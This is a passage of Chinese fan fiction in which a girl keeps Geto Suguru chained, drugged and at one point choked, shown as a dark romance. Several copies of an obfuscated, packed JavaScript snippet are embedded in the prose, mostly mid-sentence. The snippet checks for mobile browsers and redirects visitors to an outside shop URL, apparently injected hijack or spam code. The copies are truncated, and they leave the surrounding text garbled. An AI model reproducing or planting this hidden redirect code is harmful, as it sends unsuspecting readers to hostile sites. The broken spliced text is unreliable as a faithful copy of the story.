不知过了多久,无尽的眩晕感终于消散,只留下如针刺般密密麻麻的痛楚,折磨着他此刻脆弱的神经。 在他难受的这段时间里,海月遥始终未曾离开,期间还不知给他喂了些什么。总之,他现在已经好转许多。 “还难受吗?”她问。 她早已摘下冰冷的手套,轻柔地用手帕擦去他额角渗出来的细汗。 “你要关我多久?”夏油杰没有回答,只是反问道。他试着动了动手腕,却疼得倒吸了一口冷气。 “……不知道。” “不知道?”夏油杰重复着这几个字,嘴角勾起一抹意味不明的笑,“难道你要等到自己玩腻这场游戏才肯放我走?” 他侧首看向海月遥,眼睛弯成一弧新月,浓密的睫毛间隐约透出一抹深邃的紫色,宛如蝶翼上的美丽花纹。 “汪。” 他笑着说道,满是讽刺。 海月遥面无表情地看着他,随后只是一言不发地垂下眼帘,微微低头,披散的黑发更衬得她面色苍白,宛如深夜中幽幽绽放的昙花。 莫名地,夏油杰从她身上看出了几分沮丧,但这大概是错觉,毕竟此刻处于不利境地的是他自己。 然而,他突然就没那么生气了。 明明被她欺骗,毫无尊严地被拴在这里,还被她卸掉下巴强行灌药。可当她只是微微低头,甚至连一滴眼泪都没有流时,他积攒的怒火就烟消云散了。 太不争气了,夏油杰。 你真的要变成她的狗吗? 他快被自己气笑了。 这样不行。他试图保持着最后一分怒气。 “抱歉,杰。”可海月遥却突然道歉,她低着头,继续说道,“我弄错药量了。” 她原本以为咒术师的身体素质更强,于是加大了剂量,却没想到加得太过,让夏油杰如此难受。看到他那么痛苦,她原本的怒意已荡然无存。 夏油杰心中立刻为她找到了开脱的理由:她不是故意的。可下一秒他又开始唾弃自己。 海月遥倾身抱住他,头埋在他的肩上,声音闷闷地说:“刚才……我从来没有那样想过,杰。我并不希望你失败,不想关住你,也不想那样粗暴地对待你……” 啊……果然还是对她生不起气来…… 夏油杰顺从地靠在她身上,却难以轻易说出原谅的话,只能低声道歉:“我也不该说那样的话……” 尽管处境糟糕,但他们却比之前深吻时更加靠近彼此,彻底放下心防。 脆弱,热忱,就像冬日里互相取暖的小兽,依偎在一起。 海月遥渐渐地收紧手臂,拥抱变得窒息,连呼吸都变得困难。他们只能配合着对方的呼吸,感受着起伏的胸膛和湿漉漉的吐息。 微妙的、隐秘的电流在皮肉下蔓延,从脚底传导到大脑,激起一阵阵酥麻,让他们更加沉浸在这个拥抱中。 什么都不想做,什么也都不愿意去想,就这样呆在她的身边。 只想一直这样下去。 下一秒,夏油杰就挣脱了出来。他觉得眼前的人就像是一个深不见底的漩涡,总是让他心甘情愿地沉沦。 然而,他不能再这样继续下去了。 心底闪过那些扭曲的咒灵、了无生气的尸体,还有被他暂时安置的双胞胎……这一切都是他的责任,是他必须背负的大义。 他必须想办法逃出去。 但从关押的条件来看,他几乎没有逃脱的机会。锁链束缚着他,咒力被波纹抹除,药物让他感到乏力……既然客观条件不允许,他只能从主观对象入手。 这个抱着他的少女才是他逃离的关键。 “那么,小遥之后打算怎么对我呢?” 他轻声问道。 “大概还有两三天,高专就会发现异常,然后去调查那个村子。”海月遥松开手,克制地站起身,“但我不会帮你收拾残局,杰。你已经做了那样的事,我不会帮你掩盖。所以再过几天,你的判决应该就会下来。如果预测无误,应该是死刑。” “高专那边,我不会透露你的行踪。理绘阿姨他们那里,我也会掩饰过去。” “至于你提到的两个孩子……我会去找她们。别担心,我会好好照顾她们的。” 海月遥没有看向夏油杰,只是缓缓说出自己的打算。 可听着听着,他的心却沉了下去。 高专会以为他被通缉后正在叛逃,父母会认为他在上学,而双胞胎她们人微言轻……海月遥几乎抹除了他所有存在的痕迹,这说明她这次的囚禁并非一天两天……甚至,只要她愿意,她可以把自己永远关在这里。 不行。 夏油杰挤出一丝笑容:“我不是问这个。” 等海月遥迟疑地看向他时,他才继续道:“我只是想知道,如果我想去洗手间、洗澡,或者是吃饭等其他情况,你该怎么办?小遥还得在高专上学吧?不能每天都来这里。” 因此,她必须给他更多的自由,至少要让他能自己生存下去。 然而,海月遥并没有如他所愿。 “嗯……别担心,我会每天都过来的。” 看来这个地方离高专很近。夏油杰冷静地分析着。小遥真是大胆,明知道他还会被高专通缉,却把他藏在高专旁边。 “至于上厕所或者洗澡,我会帮你的。” “哈?!”本来还在分析的夏油杰一时间没控制住表情,“你要怎么帮我?” “洗澡的话,男女不都是一样的吗?上厕所我会帮你扶着的。” “——你要扶什么?!” 海月遥觉得夏油杰真是啰嗦,还能是哪里。她冷淡地吐出两个字:“口口。” “啊……?” “口口。” 还不明白?上过生物课就该懂了吧?她诧异地看向他,决定用更通俗易懂的说法。 “就是——阿姆斯特朗回旋加速喷气式阿姆斯特朗炮(*)。” 不,这更让人困惑了。 这时候,她还开这种玩笑? 夏油杰震惊得说不出话,嘴唇蠕动了几下,无言以对。 还不懂吗?杰难道是个笨蛋? 海月遥蹲下身,直接伸手往人中探去,却被夏油杰突然合拢的腿死死夹紧,不让她再前进半分。 “你要做什么?!” “就是告诉你是哪里啊?”她疑惑地反问。 “不用!我知道了!真的不需要!” 知道还刚刚问她那么多次? 浪费嘴巴跟他说话。 海月遥腹诽。 夏油杰觉得,如果真的让她扶着,他宁愿现在去死。他试图说服这个自我中心的家伙:“我不想这样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019490|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “为什么?” “嗯……小遥,你换位思考一下,如果是我帮你……呃,洗澡,你会怎么想?”他实在说不出前一件事。 “无所谓。” “啊?” 年纪轻轻耳朵就不好使了?海月遥心想,提高声音重复道:“我觉得无所谓。” 她话音刚落,就看见夏油杰的脸“噌”得红了,大片大片的红潮涌上俊秀的脸,他颤抖着嘴唇,几乎不敢置信地看着她。 啊,杰脸红了。 海月遥视线下移。 啊,O|O变成o|o了。 注意到她的视线,夏油杰猛地弯下腰,全然不顾绷紧的铁圈勒得他呼吸困难。 让他去死吧,就现在。 他心生绝望。 “不要!”他咬牙切齿地拒绝。 海月遥觉得夏油杰实在是不会审时度势。而且现在这个姿势,难道他就不难受吗?她都看见他的脖子都勒出红痕了。 “杰,你现在是被我关着的。” 她提醒他,同时试图让他挺直腰板。 “我、不、要!” 夏油杰弯腰弯得更低。 “虽然我以前没做过,但我学得很快的。”海月遥试图说服他,“只要一两次,就会和你自己做没两样。” 那真是谢谢你啊,大、天、才!能不能把你的聪明脑瓜用到其他地方!!! “绝、对、不、要!” 不要就不要嘛,犯得着勒自己吗?海月遥总觉得再说下去,他就得以死明志了。 “……好吧。”海月遥难得决定让步,毕竟这样还能省去不少麻烦,她本就懒得折腾,“我之后会调整一下锁链,你自己来吧。” 夏油杰长舒一口气,随即因被勒紧的脖子低咳起来。 看来这个也需要调一下。毕竟这里她准备得仓促,都还没有细致地改造过。海月遥一边治好他脖子上的伤,一边想到。 “那你现在要去吗?”她体贴地问。 “……你准备怎么做?” “这个铁链我可以先卸下来,抓着另一端就行。”考虑到夏油杰那莫名其妙的羞耻心,她善解人意地补充一句,“不要紧,它足够长,我也不会偷看的。” 她牵着锁链的另一端…… 这不就是遛狗吗?! 夏油杰完全无法想象那个画面。 “不用,真的,我现在挺好,就这样,你去忙,不用管我。” 快别跟他说话了! “我现在没事啊?”海月遥不解地说。 不,你有事要做。 夏油杰开始睁着眼睛说瞎话:“我饿了,快饿死了,而且我好渴,感觉嗓子要冒烟了。” “啊,这可怎么办?想喝水,想吃饭。” 他故作虚弱地靠在海月遥颈侧,在她看不见的角落面无表情地念着台词。 等她看过来,他又换上一副委屈的表情,可怜兮兮地拉长声音: “怎么办,小遥……帮帮我吧……” 说着,他侧过头,在她侧颈轻啄一下。 海月遥呆愣地看着他,呆愣地应了一声“哦”,然后呆愣地捂着脖子走了出去。 啊…… 这样的日子真没法过。 夏油杰望着她离去的背影,更加坚定了要逃出去的决心。 45.夏油be线(五) 刚开始的磨合期是相当尴尬的。 毕竟是异性,对面也是自己喜欢的人……当然,这仅仅是对于夏油杰,海月遥本人坦然得很,完全不觉得这有什么不妥。 就拿此刻来说。 “……你要干什么?!”夏油杰的声音几乎变了调,他面带惊恐地看着眼前的少女。 “脱裤子。” 海月遥的回答干脆利落,没有丝毫拖泥带水,仿佛这是一件再寻常不过的事情。 这家伙怎么能理直气壮地说出这句话! 要不是现在手被铐在背后,夏油杰早就一把将她推开了。现在他只能尽力蜷缩双腿,抵御着海月遥那探向他裤腰的手。 海月遥觉得以后可以加一个分腿器。 “遥,你……!”夏油杰的话刚出口,便猛地夹紧双腿,生怕给她可乘之机。 海月遥试图抽出被夹住的手。 拔萝卜。 拔萝卜。 嘿咻嘿咻……拔不出来。 毕竟她只是想普通地抽出手,但夏油杰可是赌上了全部的清白和尊严啊! 海月遥呆滞地看着自己被夹住的右手。 “先吃药。”她转而寻求另一个突破口。 吃了药方便你扒他裤子吗?! 夏油杰死死闭着嘴,而对面的家伙试图把药片塞进他嘴里。 战斗进入白热化! 海月遥使出技能【据理力争】。 “吃药。” ——完全没有道理,分明是赤裸裸的命令。 夏油杰使出技能【拼死抵抗】。 他紧闭双唇,扭头避开。 效果微弱。 海月遥使出技能【抓挠】。 被夹住的右手指尖蜷缩,如同猫爪一般,慢吞吞地挠着夏油杰的大腿内侧。 这一招,看似轻柔无害,实则威力无穷,让夏油杰瞬间“硬化”。 “所以你到底要做什么?!” 血条清空的夏油杰终于抵抗不住压力,崩溃地问道。 “量腿围。”海月遥语气平静,“杰穿的裤子裤腿太宽了,看不出围度。” 这种事情你直接问他不就好了?!他难道还不知道自己的尺码吗?! 而且隔着衣服也不是不能量! “我看一眼就知道尺寸了。”海月遥对自己的眼力充满信心,“而且杰你最近瘦了好多,跟以前的围度不一样。” 她像是看着胡闹的孩子,耐心地解释。 “……大小差不多就行了。”夏油杰咬牙切齿地说着,试图说服她放弃这荒谬的想法。 海月遥露出了“不能虐待孩子”的正义凛然的表情。 “我现在的衣服挺合身的,真的。”夏油杰诚恳地说着,“你就买差不多一样的就行。” “我才不要买灯笼裤,好丑。” 灯笼裤的忠实粉丝·夏油杰:…… 海月遥说完后也意识到这一点,于是善解人意地补充道:“穿起来像五五分,品味真差。” 简直是落井下石的高手。 “品味很差真是抱歉呢。”夏油杰皮笑肉不笑地回应。 “没关系,我原谅你了。”她大度地说道。 火大。 要是换在平时,海月遥的头上早就鼓起一个大包了。 可是现在夏油杰拿她毫无办法,所以…… 不趁这个时候贩剑更待何时! 海月遥面无表情地趴在夏油杰膝上,歪着头看向他。 “奇怪刘海,眼睛眯眯,心眼小小,脑袋发热,是个笨蛋~~”她不厌其烦地开始对夏油杰进行“人身攻击”。 唱起来了,她竟然唱起来了!夏油杰不敢置信地想。而且还唱得特别难听,没有一个音在调上。 看着他脸上的表情越来越僵硬,原本毫无表情的海月遥却终于忍不住笑,冰冷的神情柔和下来。 夏油杰只觉得她眼底泛起一片浅海的波澜,自己的身影倒映其中,就像是泅泳的游鱼,沉沦在这清澈的薄蓝色里。 自己本来压抑在心底已久的种子仿佛被水色滋润,迅速破土,发芽,开出艳丽的花,伴随那些亲吻着她脸颊的流光一起摇曳。 他努力克制着唇边即将绽放的笑意,嘴角微微下压,反问道:“你是故意的?” 海月遥这时到能毫不费力地抽回自己的手,她手肘搭在夏油杰膝盖上,托着下颌歪头笑道:“嗯。” “真过分。”他佯装生气。 “哈哈。” 显然,她并没有丝毫悔改之意。 在夏油杰准备再说些什么的时候,海月遥突然跪直身子,身体微微前倾,一只手温柔地抚上他的脸侧。 指尖传来的温度让他的心不禁一颤。 她缓缓凑近,那双透亮的蓝眼睛仿佛能洞察人心,直勾勾地盯着他。 “砰、砰、砰。” 心跳逐渐喧嚣起来。 就在夏油杰以为她要吻上自己时,她只是放松地和他额头相抵。 两人的呼吸交织在一起,夏油杰原本浮躁的心绪在这一刻渐渐平静下来。 想要逃离的急躁、对非术师的厌恶、对未来的无尽迷茫……所有的一切都仿佛随着这片刻的宁静而消散。 奇怪的是,尽管被囚禁在这间小小的房间里,失去了自由和尊严,他却感到前所未有的留恋,远比对上一个夏日更加留恋。 愉悦、放松,他可以完全地展现自己,不必隐藏,不必伪装。 连脑海中那些一直嘶吼悲泣的声音也悄然消失,思维被柔情所融化,情感变得轻盈而飘忽,如同蓬松的棉花糖一般,甜蜜而梦幻。 这是她为他打造的乌托邦。 “果然,杰还是这样最好。” 他听见眼前的少女自言自语。 这句话却像一把锋利的刀,瞬间戳破了夏油杰的美梦。 他心中的怒火再次燃起,但并非是针对海月遥,而是对那些非术师的丑恶嘴脸,以及那个心甘情愿沉沦在她身边的自己。 堕落到令他作呕。 可他忍不住又开始找借口。 如果要逃出去,获得她的信任至关重要。 而海月遥似乎并无太多留恋,只是短暂停留,随即拉开距离。 她从容地戴上橡胶手套,开始这一天的例行工作。 这次,她精准地控制了药量。夏油杰吞下药片后也没有太多不适,只是稍微有些脱力,带着驱之不散的燥意。 自第一次后,夏油杰每次都安分地服药,海月遥仍会仔细检查。她伸出手指,探入他口中,漫不经心地翻看着。 橡胶手套完美地勾勒出她的手部曲线,修长纤细,骨节分明,乳白色手套被撑开后还会隐约透出一点肉色。 微凉湿滑的触感掠过他的舌面,拂过齿尖。她的动作虽不轻柔,但也不至于带来疼痛。但那令人作呕的橡胶味依旧挥之不去,他下意识地想要干呕,又硬生生忍住。 “不要舔我。” 海月遥微微皱眉,显得有些困扰。 刚才的感觉就像羽毛轻轻掠过皮肤,带着一丝瘙痒,直透心底。她说不清这是难受还是别的感觉,只觉得心里有种情绪在膨胀、在翻涌。喉咙干渴,既想倾诉又想压抑。 奇怪。 所以她决定谴责给她带来这种奇怪感觉的夏油杰。 他那明明是反胃干呕! 夏油杰要被她气笑了。 可他到底还是记得自己的处境。 他在海月遥检查完毕准备抽出手指时轻轻咬上,用略尖的虎牙,带着挑逗意味地在柔软的指腹轻轻摩挲。 随后又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“躲那么远做什么?我又不会吃了你。”他笑着,特意扬起头,让她看到脖颈上的锁链,表明自己无害。 可你这张嘴还会咬人,可怕得很! 海月遥迟疑地向前走了几步。 她的样子就像小学时走在上学路上,路过那户拴着凶恶大狗的人家,只得小心翼翼地走过,眼睛不自觉地瞟向狗绳,确认它是否拴牢,同时留意铁门是否关紧。 “吃药是你的义务。”海月遥依然记得夏油杰之前说过的话。她接着刚才的话题,高声说道,“只有付出额外的努力,才能得到奖励。” 铁石心肠的女人! 夏油杰的笑容未减:“那我需要做些什么呢?可我现在被绑在这里,什么也做不了。” 海月遥面无表情地盯着他,最终在他身前蹲下,又轻又快地啄了一下他的嘴唇,然后歪着头问:“杰想要什么?” 这是额外的劳动吗? 他先是一愣,随即笑道:“我想松开手脚,一直被这样绑着很不舒服。”他微微侧身,让海月遥能看到他被镣铐束缚的手。因为镣铐的摩擦,他的手腕已经红肿破皮,看上去有些严重,当然,也有夏油杰故意的成分在。 “当然,只有在小遥在的时候,我才能松开。”他温顺地补充道,“如果你不放心,我可以先吃药。” 最重要的是先获得一些自由。 他垂下眼帘,掩藏起眼中的算计,故意拖长声音说:“我只是想动一动……这样真的太难受了……小遥,不能帮帮我吗?” 海月遥如他所愿。 46.夏油be线(六) 这是被囚禁的第七天。 在这幽闭的空间中,时间流逝变得模糊。夏油杰只能依靠房间内灯光的明灭和自身的睡眠情况,勉强计算日子的更迭。 这几天,原本空旷的房间已彻底变了样。 为了防止夏油杰无聊,海月遥断断续续往里添置了不少东西:零食、书籍、游戏……当然,没有任何可能帮助他与外界联系的工具,也没有锋利的物品可做武器。 若非脖子上拴着铁链,以及头顶那一直闪着红光的监控,夏油杰几乎要以为这是为他布置的新家。 他的活动范围被严格限制在房间及紧邻的卫生间内。至少在他的争取下,那个控制欲极强的家伙没有在卫生间安装监控,为他保留了极其微弱的隐私。 海月遥遵守了她的承诺,每天都会来短暂“探望”他,尽管每次都戴着橡胶手套,检查他是否真的吃了药。为避免消耗她的信任,夏油杰每次都切实吞下去。 除了第一次服药反应强烈,后续的剂量相对温和。服药后,他会感到无力,偶尔脑袋昏沉,但影响不大。 只有吃了药,并经她仔细检查后,脖子上的锁链才会放松,手脚上的枷锁也会解开。 当然,夏油杰也会付出他的“劳动”,他甚至会胆大地伸出舌头,等海月遥反问他时,就笑着说这是“额外的回报”。 在这之后,他能短暂地自由活动,海月遥也会陪他一段时间,偶尔提及外界的情况。 …… “……杰已经被通缉了。”海月遥今天并未急着给他喂药,而是垂着眼睫,一手轻轻摩挲着夏油杰的耳垂,低声说道。 “夏油杰,根据咒术规定第9条,将其定性为诅咒师,处以死刑。” 她漠然地读出咒术界的判决。 “诅咒师……”夏油杰重复这三个字,突然忍不住笑出声来,“谁能想到,逃窜中的特级诅咒师,现在会被关在这里?” 他仰起头,颈项间泛着金属光泽的枷锁愈发显眼,象征着他如今的糟糕处境。 “看吧,夏油杰还戴着这个呢。”或许是被关得太久,或许是药物的影响,他偶尔情绪失控,会反讽海月遥几句。 这也让他的修长颈线更加清晰,纤薄皮肤下,脆弱而富有生命力的血管隐约可见。 海月遥蹲在他两腿间,面无表情地盯着他片刻,最终顺从内心,抚上他的脖颈。她一点点收紧手指,虎口抵在他的动脉上。 夏油杰感觉呼吸变得困难,像是嗓子里被塞了块湿哒哒的海绵,又或者是被保鲜膜厚厚地包住口鼻。 可他似乎并没有为之困扰。 他原本屈起的腿紧紧扣住,夹住她的腰,将她拉近自己。 海月遥没有反抗,顺着他的力量,一手撑在夏油杰身侧,扣住他脖颈的手也缓缓放松。 夏油杰这才得以喘息。他咳嗽几声,双腿更紧地圈在她腰侧,即便手被后铐住,也能暂时拉住她。 “怎么了?想杀了我吗?” 他抬头望向她,眼中笑意盈盈,深紫的眼眸中流露出别样的风情。说话间,尾音还勾着笑意,丝丝缕缕地钻入她耳中,有些发痒,像是被一只狐狸漫不经心地用柔软的尾巴轻轻拂过脸侧。 “杀了诅咒师夏油杰,带着他的尸体,交给高专?” “0。”海月遥别开眼,“我不会那么做的。” “那你究竟想做什么?”他仰起头,几乎要吻上她的唇,却被碍事的锁链阻挡。“明明不认同我的道路,却又对高专的通缉令无动于衷。” 她想做什么? 她想废掉他。 实际上,就在夜蛾正道宣布夏油杰的判决之后,海月遥前往了那个村子。 村子已沦为废墟。 焦黑的建筑如同被烈火噬咬过的残骸,散落一地。角落里,深褐色的血迹斑驳可见。灰黑的土地上,干枯的树枝扭曲缠绕,仿佛无数在绝望中挣扎的人类身影,争先恐后地向前伸展,试图逃离这片死寂,向那遥远而微弱的阳光求救。 海月遥的五感异常敏锐,几乎能在脑海中重现夏油杰屠杀的全过程。 她就那样静静地站在脑海中复刻的夏油杰的站位上,冷眼扫视着四周。 那场火并未烧尽所有痕迹。 那些保持着挣扎姿态逝去的人类,面容扭曲,焦褐色的皮肤紧贴骨架,碳化的血肉脆弱不堪,关节处戳出的白骨森然,如同地狱伸出的利爪,令人不寒而栗。 原来是这样。 她平静地想着。 “锄强扶弱,弱者生存,是这个社会应有的常态。我的力量是为了保护普通人才存在的。” 她还记得夏油杰以前对她说过的话。 现在只觉得可笑荒诞。 他背叛了自己。 因此,当海月遥掐住他脖子时,脑海中不断回响着一个念头: 废掉他。 就像以前对待其他诅咒师那样。 说实话,咒术界的通缉她根本不在乎,她有至少三种方法让这不会影响夏油杰。 但既然杰如此看重术师的身份,为此走到这一步,甚至不惜屠杀村民、杀害父母、抛弃十多年的羁绊…… 那她也可以不顾一切,彻彻底底地…… ——摧毁他。 可是…… 她一手捧起夏油杰的脸,指腹轻轻摩挲着他眼下的青黑。在高专时,他就已消瘦不少;而被囚禁的这几天,他更是清减了几分。眉弓凸起,眼窝深邃,颧骨的形状也愈发明显。 她的青梅竹马是一个必须从外界寻求意义才能活下去的笨蛋。 如果他现在选择的路被彻底摧毁,没了精神支撑,他还能好好地活下去吗? 特级、诅咒师……这些词在她心底掀不起任何波澜。她看向夏油杰时,总能看到一只扑火的飞蛾,看到当年那个说要救所有人的笨蛋。 但她也能看见倒在他脚下的尸体。 想废掉他,又想保护他,这些心情交织在一起,拧成一股纷乱的绳。 咚。 咚。 咚。 她的心跳逐渐加速。 手下的力度不断加大。 她感到手下的人身体瞬间僵硬,肌肉紧绷后又缓缓放松。 他的脸色迅速变得苍白,脖子上青筋暴起,唾液不受控制地从嘴角滑落。然而,即便如此,他也没有反抗。 海月遥松开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哈哈,还是想的。” “可是你刚刚没有反抗。” “因为是你的决定。” 夏油杰低声笑着,却因喉咙肿痛而忍不住咳嗽起来。 他咳得弯下了腰,咳到眼底泛起水光。 好不容易止住咳嗽,他抬起头,莹润的紫眸紧紧盯着她,一字一句地说: “如果非要死的话,我希望是由你来动手。” “……这是杰的愿望吗?” “哈哈,勉强算吧。” “……” 海月遥沉默,跪直身子,居高临下地盯着他。她的黑发滑落,与他的黑发交织在一起。 她挡住了他全部的光,全然占据着他所有的视线。幽深的蓝瞳像是无尽的海,拉着夏油杰直直沉入。 尽管被她环抱住脖颈,夏油杰却很难感受不到她的存在。纤薄的身形,苍白的肌肤,和冰冷的怀抱,汇合在一起,如同幻影般缥缈,又似指缝间流逝的水流。 直到她温软的唇落在他的额间,这份温度才变得真切。 “不用担心,我不会让那一天到来的。” 她冷淡地承诺。 47.夏油be线(七) 痛苦。 眼前一片白茫茫,所有的声响渐渐消散。他看不见她的脸,也听不见她的声音。唯一真切的,是她紧紧掐着自己脖子的手,以及那一阵阵锐利的痛楚。 窒息感如潮水般涌来,淹没他的理智。他如同沙漠中渴水的鱼,感受着生命在她的指缝间流逝。 她真的想杀了自己吗? 他迷迷糊糊地想。 啊……这也正常,毕竟他杀了那么多人。虽然她可能早已有所准备,但当判决真正到来的那一刻,她还是会感到愤怒和失望吧? 夏油杰深知海月遥对那些草菅人命的诅咒师从不留情,她会以自己的方式摧毁他们,掌控他们的人生。如今,他也是那些诅咒师中的一员,而且实力更强,危害性更大。 这么想着,夏油杰没有挣扎。 但出乎意料的是,看到他这副模样,海月遥却突然松开了手。 他剧烈地咳嗽起来,试图抬眼看清她,但视线模糊不清。 那就再靠近一些吧。 他双腿紧紧缠住她的腰,不愿让她离开。 他想看见她,想触碰她,想感受她的存在。 “如果非要死的话,我希望是由你来动手。”这是他少有的遵从本心,不顾算计的话语。 但海月遥只是轻吻了他的额头。 温柔而缥缈的触感,与刚才痛苦而真切的窒息截然不同。 但夏油杰此时却感到无比的满足和幸福。 被她掐住脖子的时候,他才觉得这段时间不再像乌托邦的梦境,而是切实地感受到了自己在活着,感受到她的爱意。 人类的情绪怎么能在短短一分钟内变化这么多呢? 明明一开始是失望麻木,现在心底却是快要溢出的愉悦与爱意。 他笑着,尽可能地仰起头,虔诚地亲吻着她的唇瓣。 那高高在上俯视他的少女怜悯地弯下腰,与他亲昵而又血腥地纠缠在一起。 两人将压抑已久的情感全部倾泻而出,呼吸变得灼热而急促,仿佛被炖烂的骨头一般,软软地依附在一起。 她的手虚握在他的脖颈处,被微凉指尖触碰的地方激起一阵阵酥麻,被那火辣辣的疼痛裹挟着,让他头晕目眩。 夏油杰又感觉到那种窒息感,胸口起伏着,却无法呼入一丝空气。 他撬开她的唇,贪婪地抢夺着更多的氧气。不知道为什么,他突然想起来以前夏日祭那总是穿着蓝色和服的少女,想起了璀璨至极的花火、想起了那白皙如雪的后颈以及那人手里提着装着金鱼的袋子。 那两条在夏日祭中捕获的金鱼,就是像他们这样,在透明、随时可能破裂的小小袋子里,绝望而暧昧地争夺着彼此的氧气。 “还没吃药,就算杰刚才付出了劳动,我也不会现在就松开你的。” 海月遥像是什么都没有发生般,轻描淡写地揭过那一页。她一点点舔舐着夏油杰唇瓣上被她咬出的伤口,语气漫不经心。 夏油杰没有回答,又侧过头吻了上去。 平时到了这个时候,他不都停下来了吗? 海月遥不解,但还是选择继续配合他。 “遥,遥,遥……”在换气的间隙,他一遍遍地呼唤着她的名字。在略显沙哑的嗓音中,她的名字就像一颗晶莹剔透的水果硬糖,在他的舌尖滚动着,甜蜜在口腔里弥漫开。 “我在。” 她平静地回应。 偏偏是这种冷淡的语气,让夏油杰笑着眯起眼。他的眼睛弯成一轮新月,纤长的睫毛微微颤动,透出一抹深紫色。 为什么你要杀了我? 为什么你又要停手? 你打算怎样处置我? 无数问题在夏油杰的脑海中浮现又消散,如同划过夜空的焰火,绽放出短暂的绚烂,然后又星星点点地消失。最终,他只是眼含笑意,声音更加温柔地说: “——我爱你哦,遥。” 不论你的决定是什么。 “……” 海月遥静静地注视着他,那双紫眸中似乎隐藏着无数情绪,却又让人看不清、摸不透。 她的视线从那双眼滑落,流连过被她咬破的唇瓣,最后停留在他那被冰冷镣铐束缚的脖子,脆弱的脖颈上满是青紫的掐痕。 触目惊心。 “你要什么?”她反问道。 夏油杰愣住了。 明明两人的距离极近,明明还能感受到她温热的吐息,他却感觉手脚冰凉,他第一次如此清晰地感受到了脖子上的锁链和束缚住手脚的镣铐。 “吃药吧。”他不回答,笑着说道。 海月遥打量他片刻,才拿出今日份的药。 不过相比于以前,她显得有几分心不在焉,连医用橡胶手套都忘了戴,只是机械地将药片塞入他口中,检查也显得草率许多。随后便解开了他的手铐,而脖子上的铁链也随之延长,给予他片刻的自由。 或许是咒术界的宣判让她心情不佳,她没有跟夏油杰聊天的心情,只是独自坐在角落,眼神空洞地望着地面,不知在想些什么。 夏油杰站起身,活动着被束缚已久的手脚,没有打扰她。他不含感情地扫了她一眼,转身走进隔壁的卫生间。 铁链的叮当声在空旷的房间内回响。 由于铁链的限制,门无法完全关闭,只留下一道缝隙。 卫生间内,夏油杰站在洗手台前,双手支在台上,冷冷地凝视着镜中的自己。 这些天他明显消瘦了许多,形象算不得好。黑发凌乱地披散在肩上,几缕碎发垂落在额前。皮肤苍白得近乎透明,眼下的青黑更加显眼,难掩憔悴与疲惫。 他仰起头,目光落在脖颈上那道明显的掐痕上,隐隐作痛的触感在皮肉下攒动,几乎要冲破这薄薄人皮的束缚,血淋淋地展现出来。 他回头,往身后的门看去。 借着半遮半掩的门缝,他能看见海月遥一个人坐在那里的身影。她没有往这个方向看,只是毫不在意地坐在地上,蜷缩成一团,双膝屈起,头埋在膝间。 “哈……” 他不知道是笑谁,冷冷地笑了一声,便往更里处走去,按部就班地解开衬衫的纽扣,随意地把脱下的衣服扔在一旁,而后打开花洒。 在水流淅淅沥沥的声音的遮掩下,他吐出了那粒还没吞下的药片。被轻易碾碎的药粉随着水流淌入,消失不见。 他试着握了握拳,感受着体内涌动的力量。与以往的虚弱不同,他现在感觉状态极佳,几乎与平时无异。要不是那源源不断往他体内灌输的波纹…… 他抬起手,紧紧攥住项圈上的铁链,狠狠用力。然而,没有咒力的加持,他几乎无法仅凭蛮力破坏这个束缚他的枷锁。 现在还不是时候。 他冷静地想。 …… 等海月遥回过神时,夏油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏油杰温和地问道,双手捧起她的脸。他背对着光。从海月遥的角度看过去,那环形的灯就像是佛光般,恰好落在他头后方,为他平添神圣与悲悯的气息。 他耐心地等待着她的回答,轻柔地将她额前的碎发拨至耳后。 “杰你喜欢我吗?” 海月遥还是问了出来。 当她第一次听见夏油杰那句话时,她才差点杀了他。 海月遥不觉得夏油杰宽容大度到能原谅这件事,也不觉得他会因此而对她产生任何爱意。如果夏油杰那时说出“我恨你”之类的话,她也不会感到丝毫惊讶。 然而,当她问出这句话时,却意外地听到了夏油杰的低笑。 他的手缓缓滑过她的手背,按捏过她的指节,暧昧地抚过她那如玉般白皙的指尖,最后不容分说地挤开她的指缝,与她十指相扣。 海月遥不禁打了个冷颤。 他就这样牵着她的手,靠在自己脸侧,学着她的样子歪着头,亲昵地蹭着她的手背,眯着眼笑着。 “是的,我爱你。” 这样的动作总会让海月遥联想到那用尾巴勾着人类脚踝的流浪猫。 亲近,但不越界,同时又带着讨好意味。 这句话配上那铐住他脖子的镣铐和青紫的伤痕更显荒诞。 “……” “怎么这次不问我想要什么了?” 夏油杰却没有放过她,语气轻松地问道。 流浪猫会要便利店的火腿肠。 “你要什么?”她顺从地问道。 “你。” 48.夏油be线(八) 面对喜欢对象的“我想要你”,某人的反应是…… 海月遥:? 她不为所动:“人话。” “我想要小遥多过来陪陪我。” 夏油杰弯下腰,以一种近乎谦卑的姿态,半伏在她的膝盖上,抬眼看向海月遥。 随着他的动作,颈圈上的铁链也滑落一截,拖在地面上,发出清脆的响声,格外刺耳,却又莫名地引人遐想。 